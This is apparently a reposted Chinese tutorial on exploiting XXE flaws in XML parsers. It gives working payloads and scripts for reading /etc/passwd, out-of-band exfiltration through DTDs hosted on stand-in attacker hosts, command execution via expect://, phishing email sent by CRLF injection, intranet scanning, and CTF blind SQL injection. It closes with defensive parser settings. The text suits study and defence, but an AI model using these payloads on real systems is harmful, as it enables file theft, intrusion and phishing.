XXE漏洞利用技巧(XML注入):从XML到远程代码执行
目錄
什么是XXE
基本利用
Blind OOB XXE
場景1 - 端口掃描
場景2 - 通過DTD竊取文件
場景3 - 遠程代碼執行
場景4 - 釣魚
場景4 - HTTP 內網主機探測
場景5?- 內網盲注(CTF)
場景6?- 文件上傳
緩解措施
真實的 XXE 出現在哪
實例一:模擬情況
實例二:微信支付的 XXE
實例三:JSON content-type XXE
六、XXE 如何防御
方案一:使用語言中推薦的禁用外部實體的方法
方案二:手動黑名單過濾(不推薦)
什么是XXE
簡單來說,XXE就是XML外部實體注入。當允許引用外部實體時,通過構造惡意內容,就可能導致任意文件讀取、系統命令執行、內網端口探測、攻擊內網網站等危害。
例如,如果你當前使用的程序為PHP,則可以將libxml_disable_entity_loader設置為TRUE來禁用外部實體,從而起到防御的目的。
基本利用
通常攻擊者會將payload注入XML文件中,一旦文件被執行,將會讀取服務器上的本地文件,并對內網發起訪問掃描內部網絡端口。換而言之,XXE是一種從本地到達各種服務的方法。此外,在一定程度上這也可能幫助攻擊者繞過防火墻規則過濾或身份驗證檢查。
以下是一個簡單的XML代碼POST請求示例:
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1<?xml version="1.0"?> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>XML is the best!</description></core> </catalog>之后,上述代碼將交由服務器的XML處理器解析。代碼被解釋并返回:{"Request Successful": "Added!"}
現在,當攻擊者試圖濫用XML代碼解析時會發生什么?讓我們編輯代碼并包含我們的惡意payload:
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core> </catalog>代碼被解釋并返回:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...還有比較明顯的
http頭出現 Content-type:text/xml 很有可能存在XXE漏洞
畢竟還有這兩個是大殺器
1.https://fofa.so/
header=xml && country=IN (讀者可以自行搜索試下)
2.www.shodan.io?(無研究,需head中有text/xml思路即可)
Blind OOB XXE
如上例所示,服務器將/etc/passwd文件的內容作為響應返回給我們的XXE。但是在某些情況下,即便服務器可能存在XXE,也不會向攻擊者的瀏覽器或代理返回任何響應。遇到這種情況,我們可以使用Blind XXE漏洞來構建一條外帶數據(OOB)通道來讀取數據。雖然我們無法直接查看文件內容,但我們仍然可以使用易受攻擊的服務器作為代理,在外部網絡上執行掃描以及代碼。
場景1 - 端口掃描
在第一個示例中,我們通過URI將請求指向了/etc/passwd文件,并最終成功的為我們返回了文件中的內容。除此之外,我們也可以使用http URI并強制服務器向我們指定的端點和端口發送GET請求,將XXE轉換為SSRF(服務器端請求偽造)。
以下代碼將嘗試與端口8080通信,根據響應時間/長度,攻擊者將可以判斷該端口是否已被開啟。
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core> </catalog>場景2 - 通過DTD竊取文件
外部文檔類型定義(DTD)文件可被用于觸發OOB XXE。攻擊者將.dtd文件托管在VPS上,使遠程易受攻擊的服務器獲取該文件并執行其中的惡意命令。
以下請求將被發送到應用程序以演示和測試該方法:
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd"> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core> </catalog>上述代碼一旦由易受攻擊的服務器處理,就會向我們的遠程服務器發送請求,查找包含我們的payload的DTD文件:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;讓我們花點時間了解上述請求的執行流程。結果是有兩個請求被發送到了我們的服務器,第二個請求為/etc/passwd文件的內容。
在我們的VPS日志中我們可以看到,帶有文件內容的第二個請求,以此我們也確認了OOB XXE漏洞的存在:
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh場景3 - 遠程代碼執行
這種情況很少發生,但有些情況下攻擊者能夠通過XXE執行代碼,這主要是由于配置不當/開發內部應用導致的。如果我們足夠幸運,并且PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程序上,那么我們就可以執行如下的命令:
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core> </catalog>響應:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...場景4 - 釣魚
我們使用Java的XML解析器找到了一個易受攻擊的端點。掃描內部端口后,我們發現了一個偵聽在25端口的SMTP服務,Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我們可以指定用戶名和密碼,例如ftp://user:password@host:port/test.txt,FTP客戶端將在連接中發送相應的USER命令。
但是如果我們將%0D%0A?(CRLF)添加到URL的user部分的任意位置,我們就可以終止USER命令并向FTP會話中注入一個新的命令,即允許我們向25端口發送任意的SMTP命令:
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25當FTP客戶端使用此URL連接時,以下命令將會被發送給VULNERABLESYSTEM.com上的郵件服務器:
ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25這意味著攻擊者可以從從受信任的來源發送釣魚郵件(例如:帳戶重置鏈接)并繞過垃圾郵件過濾器的檢測。除了鏈接之外,甚至我們也可以發送附件。
場景4 - HTTP 內網主機探測
我們以存在 XXE 漏洞的服務器為我們探測內網的支點。要進行內網探測我們還需要做一些準備工作,我們需要先利用 file 協議讀取我們作為支點服務器的網絡配置文件,看一下有沒有內網,以及網段大概是什么樣子(我以linux 為例),我們可以嘗試讀取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我們就有了大致的探測方向了
下面是一個探測腳本的實例:
import requests import base64#Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml>def build_xml(string):xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""xml = xml + "\r\n" + """<xml>"""xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""xml = xml + "\r\n" + """</xml>"""send_xml(xml)def send_xml(xml):headers = {'Content-Type': 'application/xml'}x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).textcoded_string = x.split(' ')[-2] # a little split to get only the base64 encoded valueprint coded_string # print base64.b64decode(coded_string) for i in range(1, 255):try:i = str(i)ip = '10.0.0.' + istring = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'print stringbuild_xml(string)except: continue返回結果:
場景5?- 內網盲注(CTF)
2018 強網杯 有一道題就是利用 XXE 漏洞進行內網的 SQL 盲注的,大致的思路如下:
首先在外網的一臺ip地址為 39.107.33.75:33899 的評論框處測試發現 XXE 漏洞,我們輸入 xml 以及 dtd 會出現報錯
如圖所示:
既然如此,那么我們是不是能讀取該服務器上面的文件,我們先讀配置文件(這個點是 Blind XXE ,必須使用參數實體,外部引用 DTD )
/var/www/52dandan.cc/public_html/config.php拿到第一部分 flag
<?php define(BASEDIR, "/var/www/52dandan.club/"); define(FLAG_SIG, 1); define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431'); .... ?>注意:
這里有一個小技巧,當我們使用 libxml 讀取文件內容的時候,文件不能過大,如果太大就會報錯,于是我們就需要使用 php
過濾器的一個壓縮的方法
壓縮:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解壓:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
然后我們考慮內網有沒有東西,我們讀取
/proc/net/arp /etc/host找到內網的另一臺服務器的 ip 地址 192.168.223.18
拿到這個 ip 我們考慮就要使用 XXE 進行端口掃描了,然后我們發現開放了 80 端口,然后我們再進行目錄掃描,找到一個 test.php ,根據提示,這個頁面的 shop 參數存在一個注入,但是因為本身這個就是一個 Blind XXE ,我們的對服務器的請求都是在我們的遠程 DTD 中包含的,現在我們需要改變我們的請求,那我們就要在每一次修改請求的時候修改我們遠程服務器的 DTD 文件,于是我們的腳本就要掛在我們的 VPS 上,一邊邊修改 DTD 一邊向存在 XXE 漏洞的主機發送請求,腳本就像下面這個樣子
示例代碼:
import requests url = 'http://39.107.33.75:33899/common.php' s = requests.Session() result = '' data = {"name":"evil_man","email":"testabcdefg@gmail.com","comment":"""<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">%dtd;]>""" }for i in range(0,28):for j in range(48,123):f = open('./evil.dtd','w')payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1"><!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">%all;%send;""".format('_'*i+chr(j)+'_'*(27-i))f.write(payload2)f.close()print 'test {}'.format(chr(j))r = s.post(url,data=data)if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':result += chr(j)print chr(j)break print result這道題難度比加大,做起來也非常的耗時,所有的東西都要靠腳本去猜,因此當時是0解
場景6?- 文件上傳
我們之前說的好像都是 php 相關,但是實際上現實中很多都是 java 的框架出現的 XXE 漏洞,通過閱讀文檔,我發現 Java 中有一個比較神奇的協議 jar:// , php 中的 phar:// 似乎就是為了實現 jar:// 的類似的功能設計出來的。
jar:// 協議的格式:
jar:{url}!{path}實例:
jar:http://host/application.jar!/file/within/the/zip這個 ! 后面就是其需要從中解壓出的文件jar 能從遠程獲取 jar 文件,然后將其中的內容進行解壓,等等,這個功能似乎比 phar 強大啊,phar:// 是沒法遠程加載文件的(因此 phar:// 一般用于繞過文件上傳,在一些2016年的HCTF中考察過這個知識點,我也曾在校賽中出過類似的題目,奧,2018年的 blackhat 講述的 phar:// 的反序列化很有趣,Orange 曾在2017年的 hitcon 中出過這道題)
jar 協議處理文件的過程:
(1) 下載 jar/zip 文件到臨時文件中
(2) 提取出我們指定的文件
(3) 刪除臨時文件
那么我們怎么找到我們下載的臨時文件呢?
因為在 java 中 file:/// 協議可以起到列目錄的作用,所以我們能用 file:/// 協議配合 jar:// 協議使用
下面是我的一些測試過程:
我首先在本地模擬一個存在 XXE 的程序,網上找的能直接解析 XML 文件的 java 源碼
示例代碼:
xml_test.java
package xml_test; import java.io.File;import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory;import org.w3c.dom.Attr; import org.w3c.dom.Comment; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; import org.w3c.dom.NodeList;/*** 使用遞歸解析給定的任意一個xml文檔并且將其內容輸出到命令行上* @author zhanglong**/ public class xml_test {public static void main(String[] args) throws Exception{DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();DocumentBuilder db = dbf.newDocumentBuilder();Document doc = db.parse(new File("student.xml"));//獲得根元素結點Element root = doc.getDocumentElement();parseElement(root);}private static void parseElement(Element element){String tagName = element.getNodeName();NodeList children = element.getChildNodes();System.out.print("<" + tagName);//element元素的所有屬性所構成的NamedNodeMap對象,需要對其進行判斷NamedNodeMap map = element.getAttributes();//如果該元素存在屬性if(null != map){for(int i = 0; i < map.getLength(); i++){//獲得該元素的每一個屬性Attr attr = (Attr)map.item(i);String attrName = attr.getName();String attrValue = attr.getValue();System.out.print(" " + attrName + "=\"" + attrValue + "\"");}}System.out.print(">");for(int i = 0; i < children.getLength(); i++){Node node = children.item(i);//獲得結點的類型short nodeType = node.getNodeType();if(nodeType == Node.ELEMENT_NODE){//是元素,繼續遞歸parseElement((Element)node);}else if(nodeType == Node.TEXT_NODE){//遞歸出口System.out.print(node.getNodeValue());}else if(nodeType == Node.COMMENT_NODE){System.out.print("<!--");Comment comment = (Comment)node;//注釋內容String data = comment.getData();System.out.print(data);System.out.print("-->");}}System.out.print("</" + tagName + ">");} }有了這個源碼以后,我們需要在本地建立一個 xml 文件 ,我取名為 student.xml
student.xml
<!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php"> ]> <convert>&remote;</convert>目錄結構如下圖:
可以清楚地看到我的請求是向自己本地的 9999 端口發出的,那么9999 端口上有什么服務呢?實際上是我自己用 python 寫的一個 TCP 服務器
示例代碼:
sever.py
import sys import time import threading import socketserver from urllib.parse import quote import http.client as httpc listen_host = 'localhost' listen_port = 9999 jar_file = sys.argv[1]class JarRequestHandler(socketserver.BaseRequestHandler): def handle(self):http_req = b''print('New connection:',self.client_address)while b'\r\n\r\n' not in http_req:try:http_req += self.request.recv(4096)print('Client req:\r\n',http_req.decode())jf = open(jar_file, 'rb')contents = jf.read()headers = ('''HTTP/1.0 200 OK\r\n''''''Content-Type: application/java-archive\r\n\r\n''')self.request.sendall(headers.encode('ascii'))self.request.sendall(contents[:-1])time.sleep(30)print(30)self.request.sendall(contents[-1:])except Exception as e:print ("get error at:"+str(e))if __name__ == '__main__':jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) print ('waiting for connection...') server_thread = threading.Thread(target=jarserver.serve_forever) server_thread.daemon = True server_thread.start() server_thread.join()這個服務器的目的就是接受客戶端的請求,然后向客戶端發送一個我們運行時就傳入的參數指定的文件,但是還沒完,實際上我在這里加了一個 sleep(30),這個的目的我后面再說
既然是文件上傳,那我們又要回到 jar 協議解析文件的過程中了
jar 協議處理文件的過程:
(1) 下載 jar/zip 文件到臨時文件中
(2) 提取出我們指定的文件
(3) 刪除臨時文件
那我們怎么找到這個臨時的文件夾呢?不用想,肯定是通過報錯的形式展現,如果我們請求的
jar:http://localhost:9999/jar.zip!/1.php1.php 在這個 jar.zip 中沒有的話,java 解析器就會報錯,說在這個臨時文件中找不到這個文件
如下圖:
既然找到了臨時文件的路徑,我們就要考慮怎么使用這個文件了(或者說怎么讓這個文件能更長時間的停留在我們的系統之中,我想到的方式就是sleep())但是還有一個問題,因為我們要利用的時候肯定是在文件沒有完全傳輸成果的時候,因此為了文件的完整性,我考慮在傳輸前就使用 hex 編輯器在文件末尾添加垃圾字符,這樣就能完美的解決這個問題
下面是我的實驗錄屏:
https://xzfile.aliyuncs.com/media/upload/picture/20181120002650-eae69596-ec17-1.gif
實驗就到這一步了,怎么利用就看各位大佬的了(壞笑)
我后來在LCTF 2018 出了這樣一個 CTF 題目,詳細的 wp 可以看我的這篇文章
緩解措施
上面討論的主要問題就是XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,并不容易,也不大可能。大部分的XML解析器默認對于XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。
真實的 XXE 出現在哪
我們剛剛說了那么多,都是只是我們對這個漏洞的理解,但是好像還沒說這種漏洞出現在什么地方
如今的 web 時代,是一個前后端分離的時代,有人說 MVC 就是前后端分離,但我覺得這種分離的并不徹底,后端還是要嘗試去調用渲染類去控制前端的渲染,我所說的前后端分離是,后端 api 只負責接受約定好要傳入的數據,然后經過一系列的黑盒運算,將得到結果以 json 格式返回給前端,前端只負責坐享其成,拿到數據json.decode 就行了(這里的后端可以是后臺代碼,也可以是外部的api 接口,這里的前端可以是傳統意義的前端,也可以是后臺代碼)
那么問題經常就出現在 api 接口能解析客戶端傳過來的 xml 代碼,并且直接外部實體的引用,比如下面這個
實例一:模擬情況
示例代碼:
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1<?xml version="1.0"?> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>XML is the best!</description></core> </catalog>我們發出 帶有 xml 的 POST 請求以后,述代碼將交由服務器的XML處理器解析。代碼被解釋并返回:{“Request Successful”: “Added!”}
但是如果我們傳入一個惡意的代碼
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog><core id="test101"><author>John, Doe</author><title>I love XML</title><category>Computers</category><price>9.99</price><date>2018-10-01</date><description>&xxe;</description></core> </catalog>如果沒有做好“安全措施” 就會出現解析惡意代碼的情況,就會有下面的返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...實例二:微信支付的 XXE
前一陣子非常火的微信支付的 XXE 漏洞當然不得不提,
漏洞描述:
微信支付提供了一個 api 接口,供商家接收異步支付結果,微信支付所用的java sdk在處理結果時可能觸發一個XXE漏洞,攻擊者可以向這個接口發送構造惡意payloads,獲取商家服務器上的任何信息,一旦攻擊者獲得了敏感的數據 (md5-key and merchant-Id etc.),他可能通過發送偽造的信息不用花錢就購買商家任意物品
我下載了 java 版本的 sdk 進行分析,這個 sdk 提供了一個 WXPayUtil 工具類,該類中實現了xmltoMap和maptoXml這兩個方法,而這次的微信支付的xxe漏洞爆發點就在xmltoMap方法中
如圖所示:
問題就出現在我橫線劃出來的那部分,也就是簡化為下面的代碼:
public static Map<String, String> xmlToMap(String strXML) throws Exception {try {Map<String, String> data = new HashMap<String, String>();DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));org.w3c.dom.Document doc = documentBuilder.parse(stream);...我們可以看到 當構建了 documentBuilder 以后就直接對傳進來的 strXML 解析了,而不巧的是 strXML 是一處攻擊者可控的參數,于是就出現了 XXE 漏洞,下面是我實驗的步驟
首先我在 com 包下又新建了一個包,來寫我們的測試代碼,測試代碼我命名為 test001.java
如圖所示:
test001.java
package com.test.test001; import java.util.Map; import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;public class test001 {public static void main(String args[]) throws Exception {String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +"<!DOCTYPE XDSEC [\r\n" +"<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" +"<XDSEC>\r\n"+"<XXE>&xxe;</XXE>\r\n" +"</XDSEC>";try{Map<String,String> test = xmlToMap(xmlStr);System.out.println(test);}catch (Exception e){e.printStackTrace();}} }我希望它能讀取我 D 盤下面的 1.txt 文件
運行后成功讀取
如圖所示:
當然,WXPayXmlUtil.java 中有這個 sdk 的配置項,能直接決定實驗的效果,當然后期的修復也是針對這里面進行修復的
http://apache.org/xml/features/disallow-doctype-decl true http://apache.org/xml/features/nonvalidating/load-external-dtd false http://xml.org/sax/features/external-general-entities false http://xml.org/sax/features/external-parameter-entities false整個源碼我打包好了已經上傳到我的百度云,有興趣的童鞋可以運行一下感受:
鏈接:百度網盤 請輸入提取碼?提取碼:xq1b
上面說過 java 中有一個 netdoc:/ 協議能代替 file:/// ,我現在來演示一下:
如圖所示:
實例三:JSON content-type XXE
正如我們所知道的,很多web和移動應用都基于客戶端-服務器交互模式的web通信服務。不管是SOAP還是RESTful,一般對于web服務來說,最常見的數據格式都是XML和JSON。盡管web服務可能在編程時只使用其中一種格式,但服務器卻可以接受開發人員并沒有預料到的其他數據格式,這就有可能會導致JSON節點受到XXE(XML外部實體)攻擊
原始請求和響應:
HTTP Request:
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/json Content-Length: 38{"search":"name","value":"netspitest"}HTTP Response:
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43{"error": "no results for name netspitest"}現在我們嘗試將 Content-Type 修改為 application/xml
進一步請求和響應:
HTTP Request:
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 38{"search":"name","value":"netspitest"}HTTP Response:
HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 127{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}可以發現服務器端是能處理 xml 數據的,于是我們就可以利用這個來進行攻擊
最終的請求和響應:
HTTP Request:
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root>HTTP Response:
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467{"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync....六、XXE 如何防御
方案一:使用語言中推薦的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方案二:手動黑名單過濾(不推薦)
過濾關鍵詞:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC總結
以上是生活随笔為你收集整理的XXE漏洞利用技巧(XML注入):从XML到远程代码执行的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python生成随机密码
- 下一篇: 最大字段和---C语言实现